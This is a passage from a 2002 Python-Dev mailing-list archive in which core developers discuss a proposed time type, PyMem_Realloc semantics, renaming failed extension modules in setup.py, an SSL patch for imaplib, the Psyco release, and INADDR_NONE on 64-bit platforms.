From barry@zope.com  Fri Mar  1 00:42:26 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 28 Feb 2002 19:42:26 -0500
Subject: [Python-Dev] PEP 1 update
References: <3C7B6322.440D21E7@lemburg.com>
 <20020228181706.D0335E8C7@waltz.rahul.net>
Message-ID: <15486.52850.951733.332289@anthem.wooz.org>

>>>>> "AM" == Aahz Maruch <aahz@rahul.net> writes:

    AM> After looking at several PEPs over the last couple of days, I
    AM> suggest that PEP 1 be updated to require inclusion of the
    AM> Last-Modified: field.

+1

-Barry


From tim.one@comcast.net  Fri Mar  1 01:22:50 2002
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 28 Feb 2002 20:22:50 -0500
Subject: [Python-Dev] proposal: add basic time type to the standard library
In-Reply-To: <200202280211.g1S2B8U27062@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEGEOAAA.tim.one@comcast.net>

[Guido van Rossum]
> ...
> My plan is to create a standard timestamp object in C that can be
> subclassed.

As an earlier msg said, "details, details".  Any chance of setting up a Wiki
for this project?  I'd also suggest writing the test suite first, because I
suspect that asking people to submit tests is the only effective way to
tease out their hidden assumptions and requirements.

> ...
> as well as conversions to and from the two currently most popular time
> representations used by the time module: posix timestamps in UTC

Those are of type time_t, and that's opaque (maybe of a floating or integral
type, depending on platform).  What's the type in Python?  By "posix"
timestamps I assume you mean to imply at least "no leap seconds".  Note that
POSIX/SUS still doesn't require that time_t "work" beyond 2038, so we have
to define what happens then on platforms using stupid time_t.  What about
years before 1970?  POSIX/SUS still leaves that undefined, and also time()
values < 0, except for (time_t)-1 (which means "error" from time() --
although no possible errors are defined for time()!).

> and 9-tuples in local time.

Too depressing to even consider one-by-one <wink>.

> There will be a C API.

Most of the questions above were about that.

> Proposal for internal representation (also the basis for an efficient
> pickle format):
>
> year	 2 bytes, big-endian, unsigned (0 .. 65535)

Do you intend to treat October 1582 as a magical month?  Note that to the
chagrin of calendar weenies, ECMAScript explicitly refused to, pretending
instead that the current Gregorian calendar always was, and always will be,
in effect.  I'm +1 on us doing likewise.  In part, the more uniform we make
this abstraction, the more good it will do people who want some insane
<wink> sort of date gimmick instead (if our rules are regular, they can
adjust our results by injecting their favorite insanities, without having to
first subtract out our insanities).

> month	 1 byte
> day	 1 byte
> hour	 1 byte
> minute	 1 byte
> second	 1 byte
> usecond	 3 bytes, big-endian
> tzoffset 2 bytes, big-endian, signed (in minutes, -1439 .. 1439)

I've rarely seen docs for any time gimmick that made it *clear* whether the
time zone offset needs to be added to, or subtracted from, the rest of the
fields, to get the corresponding UTC point.  Plain "offset" is plainly
ambiguous.  Authors think they're being clear using "ahead" or "behind"
instead, but at least twice I've seen those used in a backwards sense too.
Which direction do you have in mind?  Does it matter?  Maybe we should add a
flag bit to say which direction is intended <wink>.

Overall, I like it -- it's just the details, details, details that make this
kind of thing a drag before it's real.



From fdrake@acm.org  Fri Mar  1 04:35:41 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Thu, 28 Feb 2002 23:35:41 -0500
Subject: [Python-Dev] proposal: add basic time type to the standard library
In-Reply-To: <LNBBLJKPBEHFEDALKOLCIEGEOAAA.tim.one@comcast.net>
References: <200202280211.g1S2B8U27062@pcp742651pcs.reston01.va.comcast.net>
 <LNBBLJKPBEHFEDALKOLCIEGEOAAA.tim.one@comcast.net>
Message-ID: <15487.1309.559025.970332@grendel.zope.com>

Tim Peters writes:
 > As an earlier msg said, "details, details".  Any chance of setting up a Wiki
 > for this project?  I'd also suggest writing the test suite first, because I
 > suspect that asking people to submit tests is the only effective way to
 > tease out their hidden assumptions and requirements.

An excellent idea, of course!  Here's just such a wiki:

http://www.zope.org/Members/fdrake/DateTimeWiki/FrontPage

I've only filled in a couple of things relating to collecting
requirements.  I'll start to summarize what's been decided & discussed
so far tomorrow, unless someone beats me to it.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From jason@jorendorff.com  Fri Mar  1 06:15:15 2002
From: jason@jorendorff.com (Jason Orendorff)
Date: Fri, 1 Mar 2002 00:15:15 -0600
Subject: [Python-Dev] PyMem_Realloc corner case
Message-ID: <HFEKILOLEFEFMKAECNDLMEDDDGAA.jason@jorendorff.com>

I just got bit by the following:

On Windows, PyMem_Realloc() doesn't seem to work as advertised in
  http://www.python.org/doc/current/api/memoryInterface.html

In particular, "if n is equal to zero, the memory block is
resized but is not freed, and the returned pointer is non-NULL".

In Objects/object.c, lines 1878-1896, PyMem_Malloc() and
PyMem_Realloc() seem to try to guarantee this behavior.
Somehow it isn't working for me.

Does this mean MALLOC_ZERO_RETURNS_NULL should be defined
in PC/pyconfig.h?  Or do I have an off version of the CRT
that causes problems nobody else has <sigh>?

## Jason Orendorff    http://www.jorendorff.com/


From tim.one@comcast.net  Fri Mar  1 07:27:25 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 01 Mar 2002 02:27:25 -0500
Subject: [Python-Dev] PyMem_Realloc corner case
In-Reply-To: <HFEKILOLEFEFMKAECNDLMEDDDGAA.jason@jorendorff.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEHDOAAA.tim.one@comcast.net>

[Jason Orendorff]
> I just got bit by the following:
>
> On Windows,

Which flavor of Windows?  Which compiler?  Which version of Python?

> PyMem_Realloc() doesn't seem to work as advertised in
>   http://www.python.org/doc/current/api/memoryInterface.html
>
> In particular, "if n is equal to zero, the memory block is
> resized but is not freed, and the returned pointer is non-NULL".

I expect Fred made that up <wink>.  Whatever, it isn't true on all
platforms.

> In Objects/object.c, lines 1878-1896, PyMem_Malloc() and
> PyMem_Realloc() seem to try to guarantee this behavior.
> Somehow it isn't working for me.

What does "isn't working" mean?  What were your inputs and what was your
output?  What did you expect instead?

> Does this mean MALLOC_ZERO_RETURNS_NULL should be defined
> in PC/pyconfig.h?  Or do I have an off version of the CRT
> that causes problems nobody else has <sigh>?

Probably no and no:  realloc'ing to 0 bytes is stupid, so I'd rather you
stopped hitting yourself over the head and that Python stopped encouraging
you to do so <wink>.  You have control over one of those, anyway.

MS malloc(0) does not return NULL, which is why MALLOC_ZERO_RETURNS_NULL
should not be #define'd.  However, MS realloc(p, 0) returns NULL if and only
if p is not NULL (well, MS realloc(NULL, 0) can return NULL if there's not
enough heap space remaining to allocate a dummy object), and if p is not
NULL does free the block.  All of this is fine by the C standard.

If people think this needs to "be fixed", fine, but I woould strongly oppose
#define'ing MALLOC_ZERO_RETURNS_NULL on Windows:  adding the silly 1 to all
malloc calls then can cause overallocation by 8 bytes, that's a horrible
waste, and whoever assumed malloc(0) behavior was correlated with
realloc(not-NULL, 0) behavior to begin with was wrong.  Better to get rid of
MALLOC_ZERO_RETURNS_NULL, and get rid of _PyMem_EXTRA, instead
special-casing the snot out of a 0 argumentl e.g. instead of

void *
PyMem_Realloc(void *p, size_t nbytes)
{
#if _PyMem_EXTRA > 0
	if (nbytes == 0)
		nbytes = _PyMem_EXTRA;
#endif
	return PyMem_REALLOC(p, nbytes);
}

do

void *
PyMem_Realloc(void *p, size_t nbytes)
{
	return PyMem_REALLOC(p, nbytes ? nbytes : 1);
}

instead.

Note:  The pymalloc realloc works just like the MS realloc here, so it's not
"just Windows"; from obmalloc.c's _THIS_REALLOC:

			/* Don't bother if a smaller size was requested
			   except for realloc(p, 0) == free(p), ret NULL */
			if (nbytes == 0) {
				_THIS_FREE(p);
				bp = NULL;

In fact, I believe it's *common* for realloc(not-NULL, 0) to act like
free(not-NULL), and that's allowed but not required by C.  The overly gross
MALLOC_ZERO_RETURNS_NULL is thus likely not defined on lots of platforms
with this realloc behavior.

Can we call it a doc error?



From mwh@python.net  Fri Mar  1 09:24:49 2002
From: mwh@python.net (Michael Hudson)
Date: 01 Mar 2002 09:24:49 +0000
Subject: [Python-Dev] PEP 273 - Import from Zip Archives
In-Reply-To: "Gordon McMillan"'s message of "Thu, 28 Feb 2002 14:06:33 -0500"
References: <3C7E3969.14214.480227F9@localhost>
Message-ID: <2mofi8zllq.fsf@starship.python.net>

"Gordon McMillan" <gmcm@hypernet.com> writes:

> In the context of python-dev, iu is, I think, useful
> because it (a) emulates nearly exactly Python's
> import rules and (b) it does so in a nicely OO
> framework with some interesting facilities. In
> other words, as a model of what some future
> revamp of c import might be.

Would it be possible to rewrite the import.c code as a new-style
claass/type and then allow inheriting from it in Python?  This might
allow you to slightly overcome the "having to do it all" problem.

Or maybe I'm just being silly.

Cheers,
M.

-- 
  The Oxford Bottled Beer Database heartily disapproves of the 
  excessive consumption of alcohol.  No, really.
                        -- http://www.bottledbeer.co.uk/beergames.html


From loewis@informatik.hu-berlin.de  Fri Mar  1 10:09:56 2002
From: loewis@informatik.hu-berlin.de (Martin von Loewis)
Date: Fri, 1 Mar 2002 11:09:56 +0100 (CET)
Subject: [Python-Dev] setup.py deleting files (Was: SSL support in _socket)
Message-ID: <200203011009.g21A9ugR014345@paros.informatik.hu-berlin.de>

I now recall why setup.py deletes modules that cannot be imported: If
they would be left there, the test cases would fail with the
ImportError. People had been complaining that they get testsuite
failures, so we changed setup.py to remove the modules which clearly
don't work.

Regards,
Martin



From mwh@python.net  Fri Mar  1 10:18:04 2002
From: mwh@python.net (Michael Hudson)
Date: 01 Mar 2002 10:18:04 +0000
Subject: [Python-Dev] setup.py deleting files (Was: SSL support in _socket)
In-Reply-To: Martin von Loewis's message of "Fri, 1 Mar 2002 11:09:56 +0100 (CET)"
References: <200203011009.g21A9ugR014345@paros.informatik.hu-berlin.de>
Message-ID: <2m7kow4mn7.fsf@starship.python.net>

Martin von Loewis <loewis@informatik.hu-berlin.de> writes:

> I now recall why setup.py deletes modules that cannot be imported: If
> they would be left there, the test cases would fail with the
> ImportError. People had been complaining that they get testsuite
> failures, so we changed setup.py to remove the modules which clearly
> don't work.

Huh?  ImportErrors cause skips, not failures ... don't they?

Cheers,
M.

-- 
  incidentally, asking why things are "left out of the language" is
  a good sign that the asker is fairly clueless.
                                        -- Erik Naggum, comp.lang.lisp


From mal@lemburg.com  Fri Mar  1 10:19:58 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Fri, 01 Mar 2002 11:19:58 +0100
Subject: [Python-Dev] setup.py deleting files (Was: SSL support in _socket)
References: <200203011009.g21A9ugR014345@paros.informatik.hu-berlin.de>
Message-ID: <3C7F55CE.A97FB6B1@lemburg.com>

Martin von Loewis wrote:
> 
> I now recall why setup.py deletes modules that cannot be imported: If
> they would be left there, the test cases would fail with the
> ImportError. People had been complaining that they get testsuite
> failures, so we changed setup.py to remove the modules which clearly
> don't work.

Left aside whether this is a good idea, setup.py should grow
an option to make this removal controllable.

-- 
Marc-Andre Lemburg
CEO eGenix.com Software GmbH
______________________________________________________________________
Company & Consulting:                           http://www.egenix.com/
Python Software:                   http://www.egenix.com/files/python/


From loewis@informatik.hu-berlin.de  Fri Mar  1 10:51:13 2002
From: loewis@informatik.hu-berlin.de (Martin von Loewis)
Date: 01 Mar 2002 11:51:13 +0100
Subject: [Python-Dev] setup.py deleting files (Was: SSL support in _socket)
In-Reply-To: <2m7kow4mn7.fsf@starship.python.net>
References: <200203011009.g21A9ugR014345@paros.informatik.hu-berlin.de>
 <2m7kow4mn7.fsf@starship.python.net>
Message-ID: <j4y9hcd0im.fsf@informatik.hu-berlin.de>

Michael Hudson <mwh@python.net> writes:

> Huh?  ImportErrors cause skips, not failures ... don't they?

Hmm, yes. It must have been something else, then...

Regards,
Martin


From barry@zope.com  Fri Mar  1 12:57:16 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Fri, 1 Mar 2002 07:57:16 -0500
Subject: [Python-Dev] setup.py deleting files (Was: SSL support in _socket)
References: <200203011009.g21A9ugR014345@paros.informatik.hu-berlin.de>
Message-ID: <15487.31404.804533.264995@anthem.wooz.org>

>>>>> "MvL" == Martin von Loewis <loewis@informatik.hu-berlin.de> writes:

    MvL> I now recall why setup.py deletes modules that cannot be
    MvL> imported: If they would be left there, the test cases would
    MvL> fail with the ImportError. People had been complaining that
    MvL> they get testsuite failures, so we changed setup.py to remove
    MvL> the modules which clearly don't work.

Can we just rename them?  I.e. bsddbmodule-failed.so

That would at least leave some artifact around so that the problem has
a chance of being debugged.

-Barry


From mwh@python.net  Fri Mar  1 13:02:56 2002
From: mwh@python.net (Michael Hudson)
Date: 01 Mar 2002 13:02:56 +0000
Subject: [Python-Dev] setup.py deleting files (Was: SSL support in _socket)
In-Reply-To: barry@zope.com's message of "Fri, 1 Mar 2002 07:57:16 -0500"
References: <200203011009.g21A9ugR014345@paros.informatik.hu-berlin.de> <15487.31404.804533.264995@anthem.wooz.org>
Message-ID: <2mpu2oe8zj.fsf@starship.python.net>

barry@zope.com (Barry A. Warsaw) writes:

> >>>>> "MvL" == Martin von Loewis <loewis@informatik.hu-berlin.de> writes:
> 
>     MvL> I now recall why setup.py deletes modules that cannot be
>     MvL> imported: If they would be left there, the test cases would
>     MvL> fail with the ImportError. People had been complaining that
>     MvL> they get testsuite failures, so we changed setup.py to remove
>     MvL> the modules which clearly don't work.
> 
> Can we just rename them?  I.e. bsddbmodule-failed.so

So long as it's bsddbmodule_failed.so, +1.

It shouldn't be difficult.

Cheers,
M.

-- 
  MGM will not get your whites whiter or your colors brighter.
  It will, however, sit there and look spiffy while sucking down
  a major honking wad of RAM.              -- http://www.xiph.org/mgm/


From skip@pobox.com  Fri Mar  1 13:15:26 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 1 Mar 2002 07:15:26 -0600
Subject: [Python-Dev] setup.py deleting files (Was: SSL support in _socket)
In-Reply-To: <200203011009.g21A9ugR014345@paros.informatik.hu-berlin.de>
References: <200203011009.g21A9ugR014345@paros.informatik.hu-berlin.de>
Message-ID: <15487.32494.372600.631088@12-248-41-177.client.attbi.com>

    Martin> I now recall why setup.py deletes modules that cannot be
    Martin> imported: ...

Regardless of the reason, I continue to think it's a moderately bad idea.
No post-mortem on the suspect object or shared object file is possible.

Skip



From loewis@informatik.hu-berlin.de  Fri Mar  1 13:27:05 2002
From: loewis@informatik.hu-berlin.de (Martin von Loewis)
Date: 01 Mar 2002 14:27:05 +0100
Subject: [Python-Dev] setup.py deleting files (Was: SSL support in _socket)
In-Reply-To: <2mpu2oe8zj.fsf@starship.python.net>
References: <200203011009.g21A9ugR014345@paros.informatik.hu-berlin.de>
 <15487.31404.804533.264995@anthem.wooz.org>
 <2mpu2oe8zj.fsf@starship.python.net>
Message-ID: <j4r8n4ctau.fsf@informatik.hu-berlin.de>

Michael Hudson <mwh@python.net> writes:

> > Can we just rename them?  I.e. bsddbmodule-failed.so
> 
> So long as it's bsddbmodule_failed.so, +1.
> 
> It shouldn't be difficult.

+1.

Martin


From tino.lange@isg.de  Fri Mar  1 13:31:53 2002
From: tino.lange@isg.de (Tino Lange)
Date: Fri, 01 Mar 2002 14:31:53 +0100
Subject: [Python-Dev] imaplib.py and SSL
Message-ID: <3C7F82C9.72BB4337@isg.de>

This is a multi-part message in MIME format.
--------------096780CBE735D0919E9873DF
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hallo!

Our company has decided to allow only SSL connections to the e-mailbox
from outside. So I needed a SSL capable "imaplib.py" to run my
mailwatcher-scripts from home.

Thanks to the socket.ssl() in recent Pythons it was nearly no problem to
derive an IMAP4_SSL-class from the existing IMAP4-class in Python's
standard library.

Maybe you want to look over the very small additions that were necessary
to implement the IMAP-over-SSL-functionality and add it as a part of the
next official "imaplib.py"?

Here's the context diff from the most recent CVS version (1.43). It
works fine for me this way and it's only a few straight-forward lines of
code.

Maybe I could contribute a bit to the Python project with this patch?
Best regards

Tino Lange
--------------096780CBE735D0919E9873DF
Content-Type: text/plain; charset=us-ascii;
 name="imaplib.py_to_ssl_imaplib.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="imaplib.py_to_ssl_imaplib.diff"

*** imaplib_143.py	Fri Mar  1 08:52:29 2002
--- SSL_imaplib_143.py	Fri Mar  1 14:18:15 2002
***************
*** 28,33 ****
--- 28,34 ----
  CRLF = '\r\n'
  Debug = 0
  IMAP4_PORT = 143
+ IMAP4_SSL_PORT = 993
  AllowedVersions = ('IMAP4REV1', 'IMAP4')        # Most recent first
  
  #       Commands
***************
*** 980,985 ****
--- 981,1056 ----
                      i = 0
                  n -= 1
  
+ 
+ class IMAP4_SSL(IMAP4):
+ 
+     """IMAP4 client class over SSL connection
+ 
+     Instantiate with: IMAP4_SSL([, host[, port[, keyfile[, certfile]]]])
+ 
+             host - host's name (default: localhost);
+             port - port number (default: standard IMAP4 SSL port).
+             keyfile - PEM formatted file that contains your private key (default: None);
+             certfile - PEM formatted certificate chain file (default: None);
+ 
+     for more documentation see the docstring of the parent class IMAP4.
+     """
+ 
+ 
+     def __init__(self, host = '', port = IMAP4_SSL_PORT, keyfile = None, certfile = None):
+         self.keyfile = keyfile
+         self.certfile = certfile
+         IMAP4.__init__(self, host, port)
+ 
+ 
+     def open(self, host, port):
+         """Setup connection to remote server on "host:port".
+         This connection will be used by the routines:
+             read, readline, send, shutdown.
+         """
+         self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+         self.sock.connect((self.host, self.port))
+         self.sslobj = socket.ssl(self.sock,self.keyfile, self.certfile) 
+ 
+ 
+     def read(self, size):
+         """Read 'size' bytes from remote."""
+         return self.sslobj.read(size)
+ 
+ 
+     def readline(self):
+         """Read line from remote."""
+         line = ""
+         while 1:
+             char = self.sslobj.read(1)
+             line += char
+             if char == "\n": return line
+ 
+ 
+     def send(self, data):
+         """Send data to remote."""
+         self.sslobj.write(data)
+ 
+ 
+     def shutdown(self):
+         """Close I/O established in "open"."""
+         self.sock.close()
+ 
+ 
+     def socket(self):
+         """Return socket instance used to connect to IMAP4 server.
+ 
+         socket = <instance>.socket()
+         """
+         return self.sock
+ 
+ 
+     def ssl(self):
+         """Return SSLObject instance used to communicate with the IMAP4 server.
+ 
+         ssl = <instance>.socket.ssl()
+         """
+         return self.sslobj
  
  
  class _Authenticator:

--------------096780CBE735D0919E9873DF--



From mwh@python.net  Fri Mar  1 13:37:51 2002
From: mwh@python.net (Michael Hudson)
Date: 01 Mar 2002 13:37:51 +0000
Subject: [Python-Dev] setup.py deleting files (Was: SSL support in _socket)
In-Reply-To: Martin von Loewis's message of "01 Mar 2002 14:27:05 +0100"
References: <200203011009.g21A9ugR014345@paros.informatik.hu-berlin.de> <15487.31404.804533.264995@anthem.wooz.org> <2mpu2oe8zj.fsf@starship.python.net> <j4r8n4ctau.fsf@informatik.hu-berlin.de>
Message-ID: <2mlmdc4de8.fsf@starship.python.net>

Martin von Loewis <loewis@informatik.hu-berlin.de> writes:

> Michael Hudson <mwh@python.net> writes:
> 
> > > Can we just rename them?  I.e. bsddbmodule-failed.so
> > 
> > So long as it's bsddbmodule_failed.so, +1.
> > 
> > It shouldn't be difficult.
> 
> +1.

It's about this hard, in fact:

Index: setup.py
===================================================================
RCS file: /cvsroot/python/python/dist/src/setup.py,v
retrieving revision 1.82
diff -c -r1.82 setup.py
*** setup.py	16 Feb 2002 18:23:29 -0000	1.82
--- setup.py	1 Mar 2002 13:35:04 -0000
***************
*** 176,188 ****
          except ImportError, why:
  
              if 1:
!                 self.announce('*** WARNING: removing "%s" since importing it'
                                ' failed: %s' % (ext.name, why))
                  assert not self.inplace
!                 fullname = self.get_ext_fullname(ext.name)
!                 ext_filename = os.path.join(self.build_lib,
!                                             self.get_ext_filename(fullname))
!                 os.remove(ext_filename)
  
                  # XXX -- This relies on a Vile HACK in
                  # distutils.command.build_ext.build_extension().  The
--- 176,187 ----
          except ImportError, why:
  
              if 1:
!                 self.announce('*** WARNING: renaming "%s" since importing it'
                                ' failed: %s' % (ext.name, why))
                  assert not self.inplace
!                 basename, tail = os.path.splitext(ext_filename)
!                 newname = basename + "_failed" + tail
!                 os.rename(ext_filename, newname)
  
                  # XXX -- This relies on a Vile HACK in
                  # distutils.command.build_ext.build_extension().  The

One little point (or I'd have checked it in already): should we make
efforts to not install the _failed.so turds?

Cheers,
M.

-- 
  C is not clean -- the language has _many_ gotchas and traps, and
  although its semantics are _simple_ in some sense, it is not any
  cleaner than the assembly-language design it is based on.
                                        -- Erik Naggum, comp.lang.lisp


From tino.lange@isg.de  Fri Mar  1 13:48:50 2002
From: tino.lange@isg.de (Tino Lange)
Date: Fri, 01 Mar 2002 14:48:50 +0100
Subject: [Python-Dev] imaplib.py and SSL
References: <3C7F82C9.72BB4337@isg.de> <2mg03k4dc8.fsf@starship.python.net>
Message-ID: <3C7F86C2.D4DDD82E@isg.de>

Tino Lange <tino.lange@isg.de> writes:

> > Here's the context diff [...]
> > Maybe I could contribute a bit to the Python project with this patch?

Michael Hudson wrote:
> Patches should be submitted to sf; it'll just disappear if posted here.

Thanks for the hint.
I've created an entry in Sourceforge's patch manager also.

BR

Tino


From loewis@informatik.hu-berlin.de  Fri Mar  1 13:56:20 2002
From: loewis@informatik.hu-berlin.de (Martin von Loewis)
Date: 01 Mar 2002 14:56:20 +0100
Subject: [Python-Dev] setup.py deleting files (Was: SSL support in _socket)
In-Reply-To: <2mlmdc4de8.fsf@starship.python.net>
References: <200203011009.g21A9ugR014345@paros.informatik.hu-berlin.de>
 <15487.31404.804533.264995@anthem.wooz.org>
 <2mpu2oe8zj.fsf@starship.python.net>
 <j4r8n4ctau.fsf@informatik.hu-berlin.de>
 <2mlmdc4de8.fsf@starship.python.net>
Message-ID: <j4d6yocry3.fsf@informatik.hu-berlin.de>

Michael Hudson <mwh@python.net> writes:

> It's about this hard, in fact:

Should you remove the old _failed file before renaming the
newly-failed one?

> One little point (or I'd have checked it in already): should we make
> efforts to not install the _failed.so turds?

People apparently want the file, so just install it.

Regards,
Martin


From mwh@python.net  Fri Mar  1 14:15:40 2002
From: mwh@python.net (Michael Hudson)
Date: 01 Mar 2002 14:15:40 +0000
Subject: [Python-Dev] setup.py deleting files (Was: SSL support in _socket)
In-Reply-To: Martin von Loewis's message of "01 Mar 2002 14:56:20 +0100"
References: <200203011009.g21A9ugR014345@paros.informatik.hu-berlin.de> <15487.31404.804533.264995@anthem.wooz.org> <2mpu2oe8zj.fsf@starship.python.net> <j4r8n4ctau.fsf@informatik.hu-berlin.de> <2mlmdc4de8.fsf@starship.python.net> <j4d6yocry3.fsf@informatik.hu-berlin.de>
Message-ID: <2mzo1s8jcj.fsf@starship.python.net>

Martin von Loewis <loewis@informatik.hu-berlin.de> writes:

> Michael Hudson <mwh@python.net> writes:
> 
> > It's about this hard, in fact:
> 
> Should you remove the old _failed file before renaming the
> newly-failed one?

Well, you /could/ do but setup.py is probably only run on sufficiently
posixly platforms that it doesn't matter?  I'll be safe any way.

> 
> > One little point (or I'd have checked it in already): should we make
> > efforts to not install the _failed.so turds?
> 
> People apparently want the file, so just install it.

OK.  That's also the easier option, another advantage :)

Cheers,
M.

-- 
  The ultimate laziness is not using Perl.  That saves you so much
  work you wouldn't believe it if you had never tried it.
                                        -- Erik Naggum, comp.lang.lisp


From Jack.Jansen@oratrix.com  Fri Mar  1 15:32:01 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Fri, 1 Mar 2002 16:32:01 +0100
Subject: [Python-Dev] Please review PEP 278 - Universal newline support
Message-ID: <79B7FB61-2D29-11D6-8825-0030655234CE@oratrix.com>

Folks,
PEP 278 has been quietly sitting there with nothing much happening, 
after some initial discussion with two or three people.

First question: would people please review it, and preferrably also test 
it (esp. windows and linux are platforms on which I would like to see it 
tested).

Second question: what happens next? How is the PEP accepted?
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From Armin Rigo <arigo@ulb.ac.be>  Fri Mar  1 16:21:32 2002
From: Armin Rigo <arigo@ulb.ac.be> (Armin Rigo)
Date: Fri, 1 Mar 2002 17:21:32 +0100 (CET)
Subject: [Python-Dev] Psyco release 0.4.0
Message-ID: <Pine.OSF.3.96.1020301171826.798567B-100000@aster1.ulb.ac.be>

Hello everybody,

The first beta version of Psyco is released, with Windows and Linux
binaries, for Python 2.1 and 2.2. Any feedback welcome!

http://sourceforge.net/projects/psyco/


Thanks,

Armin.



From skip@pobox.com  Fri Mar  1 16:47:33 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 1 Mar 2002 10:47:33 -0600
Subject: [Python-Dev] inet_addr usage in Modules/socketmodule.c?
Message-ID: <15487.45221.722045.390829@12-248-41-177.client.attbi.com>

According to the checkin comment for Modules/socketmodule.c v. 1.91:

    Port inet_ntoa and inet_aton to Windows:

    - fix unescaped newline in string literal
    - removed unused err variable
    - Windows doesn't have inet_aton; use inet_addr instead

However, in the man page for inet_addr it states:

    This is an obsolete interface to inet_aton, described immediately above;
    it is obsolete because -1 is a valid address (255.255.255.255), and
    inet_aton provides a cleaner way to indicate error return.

The reason I bring it up is that a request came in today to python-help
about python-2.2 on an SX supercomputer, which suggests that the code for
handling INADDR_NONE (and thus inet_addr()) is broken:

    I have compiled python-2.2 on an SX supercomputer which does not have
    inet_pton(). The emulated one in Modules/socketmodule.c is being used
    instead. The test for packed_addr against INADDR_NONE fails because:

    1) INADDR_NONE is 0xffffffff in SX #include file,
    2) long on SX is 8-bytes,
    3) inet_addr() returns -1 (0xffffffffffffffff) which is -1, but _not_
       INADDR_NONE. 

    Has this problem come up anywhere else with sizeof(long) == 8 and
    inet_addr() schizophrenia?

    I realize that this may be an OS implementation issue (should
    inet_addr() return -1 or INADDR_NONE) but what should/can be done (if
    anything) to the Python package in order to address this?

It seems to me the simplest thing to do is to force a "proper" definition of
INADDR_NONE with something like

    #ifdef INADDR_NONE
    #undef INADDR_NONE
    #endif
    #define INADDR_NONE ((in_addr_t)-1)

if it's not defined and in_addr_t is available.  The more correct thing
would seem to be to dump inet_addr in favor of inet_aton unless the latter
is unavailable.  

On the other hand, perhaps just the SX include files are busted and all that
has to happen is to override INADDR_NONE for that platform:

    #if defined(INADDR_NONE) && INADDR_NONE != ((in_addr_t)-1)
    #undef INADDR_NONE
    #define INADDR_NONE ((in_addr_t)-1)
    #endif

Unfortunately, my mastery of the C preprocessor, casts, and configure is
insufficient to determine without some experimentation on a platform I have
no acces to if either of these is a workable approach or if there is a
better approach that will work on the SX.

Your thoughts?

Skip


From Andreas Jung" <andreas@zope.com  Fri Mar  1 16:56:29 2002
From: Andreas Jung" <andreas@zope.com (Andreas Jung)
Date: Fri, 1 Mar 2002 11:56:29 -0500
Subject: [Python-Dev] Re: [Zope-Coders] Psyco release 0.4.0
References: <Pine.OSF.3.96.1020301171826.798567B-100000@aster1.ulb.ac.be>
Message-ID: <039101c1c142$090c06f0$02010a0a@suxlap>

Just run ab against a Zope 2.5.0 instance and tested
the performance against a stupid PythonScript.

Results:

without psyco:   116 requests/second
with    psyco:    33 requests/second

Jup, Zope is about 3.5 times slower *with* psyco.
Any explanations for this worse behaviour ?

Andreas
----- Original Message ----- 
From: "Armin Rigo" <arigo@ulb.ac.be>
To: <psyco-devel@lists.sourceforge.net>
Cc: <zope-coders@zope.org>; <python-dev@python.org>
Sent: Friday, March 01, 2002 11:21
Subject: [Zope-Coders] Psyco release 0.4.0


> Hello everybody,
> 
> The first beta version of Psyco is released, with Windows and Linux
> binaries, for Python 2.1 and 2.2. Any feedback welcome!
> 
> http://sourceforge.net/projects/psyco/
> 
> 
> Thanks,
> 
> Armin.
> 
> 
> _______________________________________________
> Zope-Coders mailing list
> Zope-Coders@zope.org
> http://lists.zope.org/mailman/listinfo/zope-coders
> 



From Andreas Jung" <andreas@zope.com  Fri Mar  1 17:10:47 2002
From: Andreas Jung" <andreas@zope.com (Andreas Jung)
Date: Fri, 1 Mar 2002 12:10:47 -0500
Subject: [Python-Dev] Re: [Zope-Coders] Psyco release 0.4.0
References: <Pine.OSF.3.96.1020301171826.798567B-100000@aster1.ulb.ac.be>
Message-ID: <03d901c1c144$081f7220$02010a0a@suxlap>

...running the Zope testsuite with psyco fails with
a segmentation fault.

Andreas
----- Original Message ----- 
From: "Armin Rigo" <arigo@ulb.ac.be>
To: <psyco-devel@lists.sourceforge.net>
Cc: <zope-coders@zope.org>; <python-dev@python.org>
Sent: Friday, March 01, 2002 11:21
Subject: [Zope-Coders] Psyco release 0.4.0


> Hello everybody,
> 
> The first beta version of Psyco is released, with Windows and Linux
> binaries, for Python 2.1 and 2.2. Any feedback welcome!
> 
> http://sourceforge.net/projects/psyco/
> 
> 
> Thanks,
> 
> Armin.
> 
> 
> _______________________________________________
> Zope-Coders mailing list
> Zope-Coders@zope.org
> http://lists.zope.org/mailman/listinfo/zope-coders
> 



From aahz@rahul.net  Fri Mar  1 17:22:17 2002
From: aahz@rahul.net (Aahz Maruch)
Date: Fri, 1 Mar 2002 09:22:17 -0800 (PST)
Subject: [Python-Dev] proposal: add basic money type to the standard library
In-Reply-To: <3C7C0DD1.A71FDEB2@lemburg.com> from "M.-A. Lemburg" at Feb 26, 2002 11:36:01 PM
Message-ID: <20020301172217.02F38E8D6@waltz.rahul.net>

M.-A. Lemburg wrote:
>
> A real implementation of a good working decimal type with adjustable
> rounding rules would certainly go a long way and the money type could
> be built on top of it.

I'm about 1/3 of the way there.  Now that I'm recovered from my cochlear
implant surgery and have a Linux box set up, I expect to get back to it
Real Soon Now.
-- 
                      --- Aahz (@pobox.com)

Hugs and backrubs -- I break Rule 6       <*>       http://www.rahul.net/aahz/
Androgynous poly kinky vanilla queer het Pythonista

We must not let the evil of a few trample the freedoms of the many.


From aahz@rahul.net  Fri Mar  1 17:23:46 2002
From: aahz@rahul.net (Aahz Maruch)
Date: Fri, 1 Mar 2002 09:23:46 -0800 (PST)
